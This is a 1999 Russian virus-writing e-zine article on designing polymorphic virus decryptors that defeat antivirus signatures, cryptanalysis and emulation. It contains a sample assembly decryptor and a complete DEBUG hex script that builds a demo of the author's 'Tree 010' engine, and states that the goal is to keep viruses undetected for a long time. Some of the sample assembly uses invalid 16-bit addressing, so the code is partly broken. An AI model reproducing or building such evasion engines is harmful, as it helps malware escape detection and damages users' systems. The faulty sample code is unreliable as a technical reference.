─[POLYMORPHISM `99]─────────────────────────────────────────────────[MONGOOSE]─
"A virus is only as great as it's polymorphic engine"
-√irogen
вступление
Очень быстро летит время. Теперь каждый уважающий себя антивирус содержит
эмулятор и обнаружить или излечить сложно-полиморфный вирус для таких антиви-
русов не составляет особого труда. Русские антивирусы считаются одними из са-
мых лучших в мире и следовательно на написание гамнаморфиков [обычный поли-
морфик по SSR'у] не стоит тратить времени, так все равно этот вирус будет оп-
ределяться и лечиться очередным дополнением (вспомним судьбу таких вирусов
как: level3, zhengxi, smeg, уругвай...). Но написание полиморфной ангины со-
ответсвующей уровню 99 года, а не 96 на мой взгляд является наиболее интерес-
ной задачей.
полиморфизм.вступление
Лично я пишу полиморфный движок именно для того чтобы заткнуть ав на дли-
тельное время, чтобы вирусы использующие движок не детектировались. На мой
взгляд этого можно добиться несколькими способами:
Использование довольно большого количества антиевристических приемов
Построение запутаного декриптора
Из этих способов я немогу выбрать сложный или легкий, каждый их них подра-
зумевает в себе некоторые недостатки. Пока еще вирмейкеры ненашли антиеврис-
тического приема который держался бы до сих пор, а на выполнение запутанного
декриптора затрачивается длительное время (параметры декриптора который затк-
нет все антивирусы нельзя вычислить точно, поэтому можно немного [!] перебор-
щить или обломаться), тем более что движок должен постоянно менять метод шиф-
рования и для того чтобы зашифровать код прийдется _запускать_ созданый дек-
риптор, получается что время работы замедляется в ~два раза. Я выбрал второй
способ (именно ему и будет посвящена статья).
полиморфизм.построение декриптора
Движок обязательно не должен содержать сигнатур иначе вирусы будут детек-
титься даже ав таких фирм как McAfee. Ненужно выдумывать слишком навороченые
фишки при построении декриптора иначе их могут использовать против вас же са-
мих (_несколько_ маленьких совпадений в декрипторах и у ав есть сигнатура).
Движок не должен представлять из себя что-то целое, обязательно должны ис-
пользоваться процедуры (callы) которые обязательно должны принимать участие в
расшифровке кода. Пример декриптора:
mov dx,key ; work with key
mov si,dx
xchg si,ax
sub si,si ; work with location
add si,location
mov dx,size ; work with code size
decrypt_loop: xor byte ptr [si],ax ;══════════╗
inc ax ; ║
not word ptr [si] ; ║
rol byte ptr [ax],1 ; ║
call branch_1 ;──┐ ║
ror word ptr [ax],0ffh ;═│═════╗ ║
neg byte ptr [si] ; │ ║ ║
add ax,10 ; │ ║ ║
call branch_2 ;──┼─┐ ║ ║
dec ax ;═│═│═══║═╗║
jmp after_br_1 ;──│─│─┐ ║ ║║
; │ │ │ ║ ║║
branch_1: push cx ;─┘ │ │ ║ ║║
mov cx,10 ; │ │ ║ ║║
br_1_loop: rol word ptr [ax],5 ; │ │ ║ ║║
xor word ptr [si],0fah ; │ │ ║ ║║
add ax,0f00h ; │ │ ║ ║║
loop br_1_loop ; │ │ ║ ║║
pop cx ; │ │ ║ ║║
ret ;════│═│═╝ ║║
; │ │ ║║
after_br_1: ror byte ptr [ax],100 ;───│─┘ ║║
neg word ptr [si] ; │ ║║
jmp after_br_2 ;────│─┐ ║║
; │ │ ║║
branch_2: push cx ;───┘ │ ║║
mov cx,94 ; │ ║║
br_2_loop: inc ax ; │ ║║
neg word ptr [si] ; │ ║║
neg byte ptr [si] ; │ ║║
not byte ptr [si] ; │ ║║
mul ax ; │ ║║
loop br_2_loop ; │ ║║
pop cx ; │ ║║
ret ;══════│═══╝║
; │ ║
after_br_2: not word ptr [si] ;─────┘ ║
jmp next_part ;──┐ ║
end_dec: inc si ;═│═════╗ ║
dec ax ; │ ║ ║
inc si ; │ ║ ║
or cx,cx ; │ ║ ║
jz crypted_code ;──│───┐ ║ ║
jmp decrypt_loop ;══│═══│═║══╝
; │ │ ║
crypted_code: зашифрованный код ;─│───┘ ║
; │ ║
next_part: ror byte ptr [ax],0bah ;──┘ ║
jmp end_dec ;════════╝
Нужно добавить "случайные переходы" типа:
cmp ax,500
jz skip_instr
neg word ptr [si+1]
skip_instr: not byte ptr [si]
или
cmp al,50
ja skip_instr
xor word ptr [si],ax
call branch_10
skip_instr: rol word ptr [ax],0ffh
которые будут значительно изменять метод шифрования.
Несмотря на "запутаность" декриптора антивирусу всеже удастся расшифровать
часть кода именно по нему он может определить наличие вируса в файле и про-
должить (если нужно) эмуляцию кода и излечить файлик.
Самые "популярные" методы детектирования полиморфиков:
сигнатуры
Полиморфики которые содержат в себе "явно" постояные участки нельзя назы-
вать полиморфиками (но аверы их так все равно называют!). Обычно такие поли-
морфики детектяться по сигнатурам или пишутся специальные процедуры которые
могут продетектить полиморфик.
крипт анализ
Ав пытается найти зашифрованое тело вируса и попробовать расшифровать его.
Этот метод явное дерьмо, потому что стоит использовать множетво разнообразных
инструкций шифрующих вирусное тело (ror/rol, add/sub, not, neg, xor...)
эмуляция
Именно этот метод использутся во всех уважающих себя ав. Но любой ав немо-
жет долго эмулировать программу и по этому если сделать декриптор большим и
сложным то антивирусы несмогут проэмулировать декриптор и даже не смогут оп-
ределить вирус! Некоторые антивирусы (а может и все) после "неудачной" попыт-
ки промулировать декриптор тестируют расшифрованую часть вирусного тела и ес-
ли это тело похоже на вирус, то ав продолжает эмуляцию декриптора. Я недумаю
что выходом будет увеличение времени эмуляции например для того же вёба пото-
му что он и так часто зависает... Я незнаю как сильно avp раскручивает сред-
ненький декриптор поэтому ничего на перед говорить небуду.
полиморфизм.иллюстрация к статье
Ниже вашему вниманию предоставлена программка демонстрирующая работу моего
движка Tree 010 написаного по принципу описанному выше. Движок еще очень слаб
и содержит массу недочетов (глюкодром) и представлен лиш в качестве иллюстра-
ции к статье (меня всегда можно хороше пнуть по 2:5020/327.8), все (!) коман-
ды которые будут встречаться в декрипторе принимают непосредственное участие
в расшифровке кода.
────[TREEDEMO.SCR]───[START]───────────────────────────────────────────────────
N TREEDEMO.COM
E 0100 BE 8B 01 BA 2E C1 B9 E9 07 80 FA 8B 71 11 F7 54
E 0110 03 F6 14 C1 CA 16 C0 C2 8B C1 C2 0E 31 54 02 F7
E 0120 14 F6 14 C0 CA 8B C0 C2 E0 C1 C2 8A 31 54 04 30
E 0130 14 42 83 34 8A 80 34 BE F6 14 C0 CA 8A C1 CA AC
E 0140 C0 C2 8A 31 54 04 30 54 03 30 74 03 80 34 8E F7
E 0150 14 9E C0 C2 8A 31 54 02 30 74 05 F7 54 03 F6 14
E 0160 31 54 01 30 14 30 74 04 83 34 8A 80 34 36 C0 CA
E 0170 8A C0 C2 24 C1 C2 8A 31 14 30 54 05 4A 42 46 49
E 0180 46 85 C9 74 03 E9 81 FF E9 00 00 22 8B 63 BF 6A
E 0190 9D BA AC CC 67 8A 2C FD AC 92 69 7B 05 EE 51 E8
E 01A0 3B A6 59 10 D3 27 F7 8C A4 85 44 06 45 EA 22 9A
E 01B0 BC 19 75 8B 41 6A 9B D2 66 AA B3 DA 59 EC 05 A7
E 01C0 BB 80 6F CD D8 8A B5 BD EE 78 20 78 91 8D B7 08
E 01D0 4A 00 D4 79 8E 33 30 4E 11 68 B9 78 8C 32 8A 11
E 01E0 FD 50 AE 86 8D 56 92 8D 6A 4F 20 48 9C AA C0 BA
E 01F0 D1 95 AF DF 0A AB 97 7B 53 F6 0E 90 05 3D A0 B6
E 0200 56 C4 90 09 A9 10 07 1F 9A AF 6E 27 83 17 B1 29
E 0210 48 07 2C 53 34 BD FB FB 0A 48 E0 40 91 D5 FB 6B
E 0220 EA 4E 27 A5 37 84 E8 1F 00 FD 39 E3 0D 02 C4 43
E 0230 AB ED D1 02 26 C2 8C B3 28 B1 26 64 EB 57 B5 CE
E 0240 06 42 1D B9 C3 CE B5 E4 F9 64 B4 F3 4F 67 39 DB
E 0250 FA BC FF 3A 2A 22 6B 97 AF 10 78 B9 C3 F5 8F C6
E 0260 DE 74 B9 A6 99 D1 12 E8 CC 09 D3 4D 03 09 31 62
E 0270 16 E4 9A D0 11 2E A4 28 83 D3 FD F6 F5 57 59 35
E 0280 EA 29 E5 A0 12 F9 97 4E C2 29 0C 5A 2E C5 3C 0C
E 0290 4B B2 B6 23 2D 1D 03 E2 6C B0 41 58 21 E4 EA D2
E 02A0 65 C1 C7 F9 EC 30 4A DC 29 44 CC A4 ED 04 43 37
E 02B0 A5 B0 B8 33 F1 6E B9 40 A9 EF FF F0 1B 2B DD 15
E 02C0 87 E5 EF 36 48 0D F4 A3 E4 9C 99 3C 64 5D 3E D8
E 02D0 6E 20 78 D3 E7 D6 50 F5 B9 16 86 1A 59 2F 10 84
E 02E0 B2 2F 71 18 D3 92 59 64 E6 D2 70 C2 F9 C1 DB 7F
E 02F0 CA 08 FB 56 F5 58 8B C0 3F 5D 84 C3 32 CD 0C 66
E 0300 53 3D 1C 6D 36 E4 C7 E9 4D D5 24 72 11 1C 9C 76
E 0310 9F 07 58 2B 74 9A A2 D9 81 55 38 14 5D 39 4B 4B
E 0320 DD A0 70 8C 9C 09 60 41 2E 68 09 CA F2 6F C9 34
E 0330 C5 21 22 42 53 A2 9E B5 F4 35 23 29 40 82 4A A0
E 0340 28 A3 08 B1 98 DA FB 52 69 63 2D 17 70 64 B5 15
E 0350 C8 ED A6 0C AC C0 1C 6E E0 59 03 BE 4C A3 FB 52
E 0360 F8 48 B2 63 C7 43 23 20 8D EE 03 4D 1C 6F 3D 5D
E 0370 67 6C D8 55 5A 4F 81 E4 2A 66 7D FA BF 10 F5 3E
E 0380 E4 4B 2A 5F 63 01 6A FB 76 49 DA 86 D9 BC 0F 17
E 0390 62 BD 89 99 11 2B AE C4 76 FF AA 2F 71 CF 0D 4C
E 03A0 25 7F BA BD 78 47 ED 19 D4 59 1C CF 67 2F B1 AF
E 03B0 8B 3E 0E 5A 42 F6 71 E0 71 92 6D 24 E2 F3 F7 D7
E 03C0 EC F8 C3 55 80 E7 3E 1B F1 1A 4D E6 B6 9C E7 9A
E 03D0 E2 F6 15 E8 45 36 5B 63 B0 F2 D2 76 49 5C 7F 98
E 03E0 82 AF 06 D9 8F 3E A7 29 5D 0C 79 7A C6 08 6D AF
E 03F0 03 77 78 65 59 DE DA 4D D9 BC 54 7D 52 EA 17 23
E 0400 9E C1 3E 4C B1 50 7C 8F 9D AA 04 5A 17 D6 D7 A0
E 0410 AA 0D 16 62 1B E8 D8 7E B5 E5 1B 6F 7F D4 CB 19
E 0420 DB 05 3B 3C 6C B5 B8 1E 77 68 29 41 3A FD 8A DA
E 0430 4B 25 79 09 08 48 EF FA 00 D5 73 6B 6C 34 23 35
E 0440 27 15 82 99 60 2C F7 16 95 1D 6C 8E 3D 94 B2 9F
E 0450 17 DE EB 52 F7 F2 01 1C 8D 29 11 FA E4 BF 33 F1
E 0460 2A FB 8E D3 AF 0A 7B 1A 76 08 9B F9 9E 9C EE 7C
E 0470 95 80 08 A6 A2 E3 67 4D F6 BA 74 74 D7 23 E4 8D
E 0480 24 74 31 28 E0 F0 B8 79 2D 9A DA 7C 02 83 AB 9F
E 0490 61 63 76 20 66 95 07 0A E9 BB 3F E0 16 E4 B0 75
E 04A0 5B 33 6A FE 6A AB AC 88 8D 3A F8 BE 77 A2 B7 AF
E 04B0 D8 51 21 F8 A0 51 B5 42 D9 D3 DF 37 A6 8D F2 13
E 04C0 0A C5 59 23 32 0E F7 DE BF D2 E8 1C AB 8A E6 D0
E 04D0 90 91 A1 74 0D BB 5A 41 64 0F F1 59 E1 8C E2 DA
E 04E0 2D 7F 43 1F 72 44 5C 9F 5B A1 17 8F DD 52 2E 3B
E 04F0 31 F2 E8 18 03 2A AD CA 19 4D F5 14 64 4E BF 75
E 0500 46 AF 0A 76 03 2D 33 CD 74 3A E5 66 7A 79 D5 1C
E 0510 56 B4 29 60 A6 40 8B 22 DE 5E FB 04 FB BC 90 74
E 0520 3D DD ED A9 5C F2 05 87 27 D7 7C DF 89 0B 13 23
E 0530 F0 2E D3 69 24 EE CE 21 E6 50 2B 36 4B AE 0E F5
E 0540 94 AC 33 D1 7E 9B AC 51 69 02 31 95 D9 5F 64 10
E 0550 FC 46 E3 C4 C3 1F 1A 99 F5 04 70 19 9B 15 B6 B3
E 0560 02 11 68 94 8E 4C 5C 1A 77 24 6B 18 48 C7 16 EE
E 0570 B9 0B 5F 2B 8B EE 4A 69 2C EC 2C 05 21 C4 7B 63
E 0580 C4 2E E4 0E D5 B4 28 3B 3D 71 7E B6 A7 18 24 38
E 0590 54 5B 66 4A 64 86 7E 72 F8 5B 00 A2 18 56 CC 8A
E 05A0 BB CB 61 89 64 97 0E B5 CE C3 6B 65 E8 DF 85 32
E 05B0 D9 E4 BD 99 D8 EC 29 0B 32 9D E2 FD 6D 9A BB 85
E 05C0 7E 91 9C 58 45 C1 00 98 F1 6D 84 E4 43 EE FB C5
E 05D0 1A B6 9D 63 37 C5 F7 67 6D 69 7B B2 90 4C C9 3B
E 05E0 36 F3 51 2D 14 36 62 62 9B 85 DA 4D 02 09 31 E2
E 05F0 12 E4 9A D0 30 AB A7 5C 59 84 41 CF 3C 22 22 3B
E 0600 23 73 86 20 19 7E BF C0 E1 A4 C3 37 0C 5C B6 69
E 0610 5F 26 DE 20 1E 9D 84 A7 B6 B3 79 55 21 6D A4 79
E 0620 E7 54 6B F9 EC 2E 4B 5C 4F E5 73 2C F6 91 A1 09
E 0630 41 B1 33 8D 38 FC 36 FD 4F 9F 5D DE 5B 84 E4 F7
E 0640 83 F4 DB 80 69 05 F1 2E CE 9A 17 06 D4 5E 4B AB
E 0650 67 9C 6A 1A 55 53 93 FA 28 73 40 CE 11 A2 72 B0
E 0660 32 10 44 10 FD FF 73 50 64 2B 28 E9 F7 EC F9 E1
E 0670 D3 58 2F 02 82 D0 8D 4D DC 5D E4 63 03 F8 8E 4D
E 0680 FE 73 9E 72 86 D9 77 9E 4F 8D 61 C9 12 DC 1E 99
E 0690 7E C1 34 ED EE 18 24 81 08 CD 6C 9A 25 95 7A CF
E 06A0 3C 40 72 AE 1F 4F EE 45 42 AE 7C 44 14 27 CC 04
E 06B0 DA 21 0F 60 E8 A9 C6 61 E5 42 2D 59 76 4A F0 32
E 06C0 2C 0B 8E 35 B8 1E 07 C0 FC 62 AD 51 53 6F F3 78
E 06D0 0E 0A EF 08 9C B5 1D 72 40 B2 ED 5B C4 2F 81 72
E 06E0 54 85 5C 59 A9 8F 2B 5F AB 1B A6 D3 17 69 85 B8
E 06F0 DE EC AE 00 47 7E 80 BC 92 39 FA 93 3E 2F FD 37
E 0700 9E 1C D0 D1 4E 23 8E F9 BE 2C 19 79 68 3A 8F 41
E 0710 99 BF 18 AC C3 14 16 C3 9F D8 43 26 B3 39 B9 DE
E 0720 9A 8D C6 02 9D F9 83 2F D8 69 98 DC 86 87 70 D0
E 0730 46 C6 BB 5D 0D AC 41 5C 64 73 5E CE 89 A3 6A D8
E 0740 08 53 11 43 6E 6E B7 14 F6 13 00 47 0A 95 27 06
E 0750 6F CA 1F 28 44 2B 32 95 D3 7C 7E 94 CB 7A F5 27
E 0760 C1 03 1A 7F 64 D0 5D A5 E0 25 04 D3 AF FE 08 21
E 0770 AA F3 43 3C 5B 72 DB 62 E6 A7 5D BE C1 62 59 1D
E 0780 66 7B 35 04 9C 72 FA 38 27 15 5E D8 34 65 67 89
E 0790 52 6C 96 49 19 77 6E B6 08 76 F2 19 4B 5E 76 C6
E 07A0 A6 2A 34 00 65 28 61 94 A1 D3 A6 1F 84 47 35 80
E 07B0 17 7E 1B E7 CD 1F E4 75 C4 DD D6 59 F0 2D C2 A5
E 07C0 19 F6 42 99 66 16 8B 17 7D 6F 72 0E 7B D9 AF D9
E 07D0 94 E7 0A 16 F5 B2 7E 7B D8 97 A7 45 31 47 C1 DE
E 07E0 FD 70 69 5D 32 3B FA C0 CE 55 D8 9A CC 83 EC 87
E 07F0 56 9A B8 D1 A0 E0 75 CE 43 69 09 61 1B 2E 0C 26
E 0800 0B F9 C7 55 6E 8F 3B 7A B1 4A D1 57 BD 61 04 B9
E 0810 CF DC E1 A1 CF A7 8B 2E 05 87 B9 CC D2 1A 03 E5
E 0820 E4 EF 9C CC CA A0 27 EE 0F 33 30 C0 02 A7 83 19
E 0830 C9 E0 85 78 2F 66 FB 04 ED 9E E2 E0 1E 0B B4 53
E 0840 96 C9 B4 C5 CD CD 00 86 E2 5F B6 A2 A2 82 D6 27
E 0850 E8 AD D5 E7 DE 01 61 3C F9 B3 C6 C8 DD 84 1B 25
E 0860 58 C1 C9 91 50 AB D3 B4 02 28 F9 F5 1C 6B 95 15
E 0870 D0 2C 9F 6D 07 1A 64 C6 E4 06 C5 D9 65 EA F0 D5
E 0880 68 AE BD E2 1E 2C 81 6A 42 8B C9 F2 36 2F 53 BC
E 0890 E9 A7 CB D1 BB 76 D8 06 72 D2 39 E6 7E AF 1F FB
E 08A0 1F 9A 62 AE 92 7A AB 78 3D D0 EB FA 84 52 9A 53
E 08B0 21 22 DB BE 25 4B 42 E2 9D 9B 0E 99 61 10 1B FC
E 08C0 1F 6A 57 AA 84 D3 5A 0B 1C 25 F1 EA A2 E5 9F D5
E 08D0 84 A5 20 7E 01 99 E5 27 51 08 4A 58 41 A7 33 46
E 08E0 78 54 8C 4E 5F C3 1D 89 0A 89 0B 76 F4 58 35 CD
E 08F0 CA C8 CA D3 89 26 80 86 D2 42 4E 67 85 CE EE 33
E 0900 49 21 EA 0B 3C 4F C9 D0 F3 55 74 B8 CB BE B2 E9
E 0910 11 05 94 39 1E AB 83 8E 21 4D 1E 8C 88 CB 7C C4
E 0920 BB 2C 61 01 B3 C0 B8 82 E6 4B 99 A2 60 39 3C DA
E 0930 8B 9D FE F8 8E FC AB 15 80 B8 6D 8F 22 15 19 E1
E 0940 91 50 4C 58 4B CF B5 95 F8 65 BC DF 42 C2 87 4E
E 0950 75 0E 94 B2 21 9A 7D 5D 58 10 48 5F 08 68 41 7D
E 0960 36 2B FB 2F 2F 92 16 E2 46 1E DA 74 34 09 60 03
E 0970 10 6C A3 A4 89 DB AE 95 C5 50 AA C4 FC BE 2D DE
E 0980 A0 75 C6 F8 C6 B9 A3 BD 73 7B 9E DC EB 98 3D 27
E 0990 B3 22 F7 55 1C D4 C2 96 7F F9 FF 3D 60 20 5C F1
E 09A0 61 64 63 3F 6A 01 43 DD C2 53 5C 24 53 34 4A 36
E 09B0 D1 09 31 8D D0 67 34 F6 8F EB 5A 54 DD AD ED 1C
E 09C0 86 64 51 06 41 0C F5 D6 46 1C 27 0E 6D 5C 4B 43
E 09D0 E7 9E 61 DA 21 50 78 FC B8 F3 C6 FE 19 A6 96 F0
E 09E0 BA 96 75 18 3B 79 5C 58 E4 A6 9E C6 FF 49 5D 58
E 09F0 C3 58 C7 5F 80 5D 3B 7B D4 5E 14 C7 8A 46 BA 45
E 0A00 5A B5 18 41 8E D8 CE 9C 4F 65 27 CB 19 1C 1F E5
E 0A10 FE E4 F0 85 14 F3 9B E5 E9 5B DD E7 F4 50 B7 A4
E 0A20 53 C6 7C C9 7A E8 F2 27 C3 C7 D4 B4 93 5D 32 DB
E 0A30 55 47 8A 9F 61 9A F6 D4 6D D0 B6 09 93 F9 D9 A0
E 0A40 BC 73 10 A7 23 4E E3 44 D5 F7 3D 29 C7 FD 23 60
E 0A50 18 99 76 15 BA 24 84 47 74 C9 7B 5B D9 09 ED EA
E 0A60 61 AC CE C9 D1 F4 BA C4 FB FE 15 FA 85 F9 FD C9
E 0A70 4F 77 FE E4 C3 57 15 2C EA 7E 6B 43 26 39 6D AE
E 0A80 83 3A BE 49 7B 17 F5 6F BE 31 3F 13 F0 0F 9F 6F
E 0A90 B2 28 88 48 47 3D 85 53 E7 FF D2 BD E3 DC 23 C3
E 0AA0 BC EF 5E 37 A9 96 95 A0 41 40 0A 4C FE B4 E1 4B
E 0AB0 16 23 28 25 DA C2 68 CE F4 0B 58 5F 12 F3 8F 44
E 0AC0 7C 83 09 55 F8 F7 AA 32 62 8A 35 73 23 07 B7 7E
E 0AD0 7F 5B 84 78 A1 B7 46 45 CB 6A E7 0D D6 5C 62 BE
E 0AE0 F4 37 33 ED F4 A8 A7 34 7B 75 E1 4F DB 2E 10 37
E 0AF0 36 6A 5E 1A C1 EB EE 56 CF 35 CD C6 05 F3 C2 4D
E 0B00 83 E7 41 D4 84 64 65 A1 3A 33 C3 41 01 51 4E 1B
E 0B10 C2 14 38 D8 82 27 8B 05 21 E5 62 61 EF CF ED 96
E 0B20 42 AE 1D 95 F5 50 DB 05 71 CB B0 5A 1C 5A 13 C3
E 0B30 8F 4B 2F 9C 5B 1F F9 53 99 45 E3 70 62 BD BA 24
E 0B40 88 6D 12 7C D5 3F 18 87 05 F8 E3 95 2B 3D 2B F0
E 0B50 01 77 72 7B 65 62 66 6D 90 0F BA 63 77 DF F4 EA
E 0B60 86 E6 69 40 14 64 62 F5 E7 C7 48 E2 B8 13 77 D7
E 0B70 B3 29 91 42 30 98 3F 5E D8 39 ED E5 32 BB 9C 5E
E 0B80 4B 69 17 4D 78 C4 A3 67 97 03 49 62 89 1A B0 B9
E 0B90 D2 FA A0 39 FA 8E 19 BE 7D A0 29 57 82 FF 96 F8
E 0BA0 C2 6F 05 F8 E3 32 B7 96 37 A3 AB 90 E7 32 9E 3F
E 0BB0 48 79 B1 68 01 C5 63 94 09 0A 8C F6 BD 93 7D 8A
E 0BC0 72 5A CD 0A A0 9E 90 AF 76 CF CE B7 32 19 86 C3
E 0BD0 3C 01 44 03 62 AD F3 D8 7D A3 E8 77 44 15 FF FC
E 0BE0 45 E7 77 05 64 FD C5 0B 9B B9 82 58 1C 7B BB AB
E 0BF0 49 BD 7B C8 1A 3C D9 52 D0 50 D3 67 FC 7B 8B 6C
E 0C00 68 BE 93 5F 87 BD 65 DB 5F AD 75 66 02 79 45 01
E 0C10 70 36 B0 54 BB 66 F6 BA EB 43 DD 7B 63 89 A4 6F
E 0C20 2B CC 74 12 0B EB D0 E9 3D C1 C5 46 1D C3 0B B6
E 0C30 27 33 F5 00 BC DA D3 07 83 C8 1F F1 F0 80 8B 6C
E 0C40 8F 8A B6 48 67 37 BF ED FB CD 18 00 49 09 72 3B
E 0C50 6B D6 E3 BC 1A 8F 01 BF 7A 9D DB 3F 32 8C 52 29
E 0C60 1F 37 17 0C BA 55 72 9F EE 11 70 0E ED 5E D1 55
E 0C70 D1 9A 71 91 12 7F 64 CA B5 23 55 35 4F 05 BD A3
E 0C80 D9 08 72 9B FC 28 B8 43 E5 E2 ED D6 93 D0 EA F1
E 0C90 07 5B 0C 21 08 EB 1B 1A 91 55 08 CE 10 5F CC DC
E 0CA0 AD 68 F9 19 A5 87 20 16 56 53 8F E8 F8 F1 26 AA
E 0CB0 4B 09 2E E0 98 7C 32 0D 96 05 F9 9F 76 CD 01 D7
E 0CC0 10 C9 84 CC 13 D7 A3 00 61 7D AA 47 DB 7E 1F 56
E 0CD0 63 95 0D AA 37 04 E4 0E F9 84 E8 CB A8 DC E0 A9
E 0CE0 A6 8B 2F BF 8F 66 86 F1 E2 8E 4A 64 90 99 49 93
E 0CF0 80 7F CA 34 9C 82 35 CC 21 C3 D3 54 6C C6 BD 4E
E 0D00 F3 07 56 39 0F DF 27 DA F7 1D 5A 4C 8C 5C AD 77
E 0D10 EB B2 A6 0D 8C 84 92 06 2E A9 6F ED B8 F9 CC 61
E 0D20 F1 F4 F3 AF FA 91 D3 4D 52 C3 CC B4 C3 A4 DA A6
E 0D30 41 99 A1 1D 40 F7 A4 66 1F 7B CA C4 4D 3D 7D 8C
E 0D40 16 F4 C1 96 D1 9C 65 46 D6 8C B7 9E FD CC DB D3
E 0D50 77 0E F1 4A B1 C0 E8 6C 28 63 56 6E 89 36 06 60
E 0D60 2A 06 E5 88 AB E9 CC C8 74 36 0E 56 6F D9 CD C8
E 0D70 53 C8 57 CF 10 CD AB EB 44 CE 84 57 1A D6 2A D5
E 0D80 CA 25 88 D1 1E 48 5E 0C DF F5 B7 5B 89 8C FB 07
E 0D90 0B 11 40 3D F7 0E 6A 19 15 EB 20 02 10 A1 53 5D
E 0DA0 AC 38 CC 3C 84 1F 0B D9 36 7E 64 52 66 BF D1 22
E 0DB0 AA B9 3A 54 C1 3B 56 19 6D D0 B6 09 93 F9 D9 A0
E 0DC0 BC 73 10 A7 23 4E E3 44 D5 F7 3D 29 C7 FD 23 60
E 0DD0 18 99 76 15 BA 24 84 47 74 C9 7B 5B D9 09 ED EA
E 0DE0 61 AC CE C9 D1 F4 BA C4 FB FE 15 FA 85 F9 FD C9
E 0DF0 4F 77 FE E4 C3 57 15 2C EA 7E 6B 43 26 39 6D AE
E 0E00 83 3A BE 49 7B 17 F5 6F BE 31 3F 13 F0 0F 9F 6F
E 0E10 B2 28 88 48 47 3D 85 53 E7 FF D2 BD E3 DC 23 C3
E 0E20 BC EF 5E 37 A9 96 95 A0 41 40 0A 4C FE B4 E1 4B
E 0E30 16 23 28 25 DA C2 68 CE F4 0B 58 5F 12 F3 8F 44
E 0E40 7C 83 09 55 F8 F7 AA 32 62 8A 35 73 23 07 B7 7E
E 0E50 7F 5B 84 78 A1 B7 46 45 CB 6A E7 0D D6 5C 62 BE
E 0E60 F4 37 33 ED F4 A8 A7 34 7B 75 E1 4F DB 2E 10 37
E 0E70 36 6A 5E 1A C1 EB EE 56 CF 35 CD C6 05 F3 C2 4D
E 0E80 83 E7 41 D4 84 64 65 A1 3A 33 C3 41 01 51 4E 1B
E 0E90 C2 14 38 D8 82 27 8B 05 21 E5 62 61 EF CF ED 96
E 0EA0 42 AE 1D 95 F5 50 DB 05 71 CB B0 5A 1C 5A 13 C3
E 0EB0 8F 4B 2F 9C 5B 1F F9 53 99 45 E3 70 62 BD BA 24
E 0EC0 88 6D 12 7C D5 3F 18 87 05 F8 E3 95 2B 3D 2B F0
E 0ED0 01 77 72 7B 65 62 66 6D 90 0F BA 63 77 DF F4 EA
E 0EE0 86 E6 69 40 14 64 62 F5 E7 C7 48 E2 B8 13 77 D7
E 0EF0 B3 29 91 42 30 98 3F 5E D8 39 ED E5 32 BB 9C 5E
E 0F00 4B 69 17 4D 78 C4 A3 67 97 03 49 62 89 1A B0 B9
E 0F10 D2 FA A0 39 FA 8E 19 BE 7D A0 29 57 82 FF 96 F8
E 0F20 C2 6F 05 F8 E3 32 B7 96 37 A3 AB 90 E7 32 9E 3F
E 0F30 48 79 B1 68 01 C5 63 94 09 0A 8C F6 BD 93 7D 8A
E 0F40 72 5A CD 0A A0 9E 90 AF 76 CF CE B7 32 19 86 C3
E 0F50 3C 01 44 03 62 AD F3 D8 7D A3 E8 77 44 15 FF FC
E 0F60 45 E7 77 05 64 FD C5 0B 9B B9 82 58 1C 7B BB AB
E 0F70 49 BD 7B C8 1A 3C D9 52 D0 50 D3 67 FC 7B 8B 6C
E 0F80 68 BE 93 5F 87 BD 65 DB 5F AD 75 66 02 79 45 01
E 0F90 70 36 B0 54 BB 66 F6 BA EB 43 DD 7B 63 89 A4 6F
E 0FA0 2B CC 74 12 0B EB D0 E9 3D C1 C5 46 1D C3 0B B6
E 0FB0 27 33 F5 00 BC DA D3 07 83 C8 1F F1 F0 80 8B 6C
E 0FC0 8F 8A B6 48 67 37 BF ED FB CD 18 00 49 09 72 3B
E 0FD0 6B D6 E3 BC 1A 8F 01 BF 7A 9D DB 3F 32 8C 52 29
E 0FE0 1F 37 17 0C BA 55 72 9F EE 11 70 0E ED 5E D1 55
E 0FF0 D1 9A 71 91 12 7F 64 CA B5 23 55 35 4F 05 BD A3
E 1000 D9 08 72 9B FC 28 B8 43 E5 E2 ED D6 93 D0 EA F1
E 1010 07 5B 0C 21 08 EB 1B 1A 91 55 08 CE 10 5F CC DC
E 1020 AD 68 F9 19 A5 87 20 16 56 53 8F E8 F8 F1 26 AA
E 1030 4B 09 2E E0 98 7C 32 0D 96 05 F9 9F 76 CD 01 D7
E 1040 10 C9 84 CC 13 D7 A3 00 61 7D AA 47 DB 7E 1F 56
E 1050 63 95 0D AA 37 04 E4 0E F9 84 E8 CB A8 DC E0 A9
E 1060 A6 8B 2F BF 8F 66 86 F1 E2 8E 4A 64 90 99 49 93
E 1070 80 7F CA 34 9C 82 35 CC 21 C3 D3 54 6C C6 BD 4E
E 1080 F3 07 56 39 0F DF 27 DA F7 1D 5A 4C 8C 5C AD 77
E 1090 EB B2 A6 0D 8C 84 92 06 2E A9 6F ED B8 F9 CC 61
E 10A0 F1 F4 F3 AF FA 91 D3 4D 52 C3 CC B4 C3 A4 DA A6
E 10B0 41 99 A1 1D 40 F7 A4 66 1F 7B CA C4 4D 3D 7D 8C
E 10C0 16 F4 C1 96 D1 9C 65 46 D6 8C B7 9E FD CC DB D3
E 10D0 77 0E F1 4A B1 C0 E8 6C 28 63 56 6E 89 36 06 60
E 10E0 2A 06 E5 88 AB E9 CC C8 74 36 0E 56 6F D9 CD C8
E 10F0 53 C8 57 CF 10 CD AB EB 44 CE 84 57 1A D6 2A D5
E 1100 CA 25 88 D1 1E 48 5E 0C DF F5 B7 5B 89 8C FB 07
E 1110 0B 11 40 3D F7 0E 6A 19 15 EB 20 02 10 A1 53 5D
E 1120 AC 38 CC 3C 84 1F 0B D9 36 7E 64 52 66 BF D1 22
E 1130 AA B9 3A 54 C1 3B 56 19 6D D0 B6 09 93 F9 D9 A0
E 1140 BC 73 10 A7 23 4E E3 44 D5 F7 3D 29 C7 FD 23 60
E 1150 18 99 76 15 BA 24 84 47 74 C9 7B 5B D9 1D
RCX
105E
W
Q
────[TREEDEMO.SCR]───[END]─────────────────────────────────────────────────────
(c) mongoose, soldier of Misdirected Youth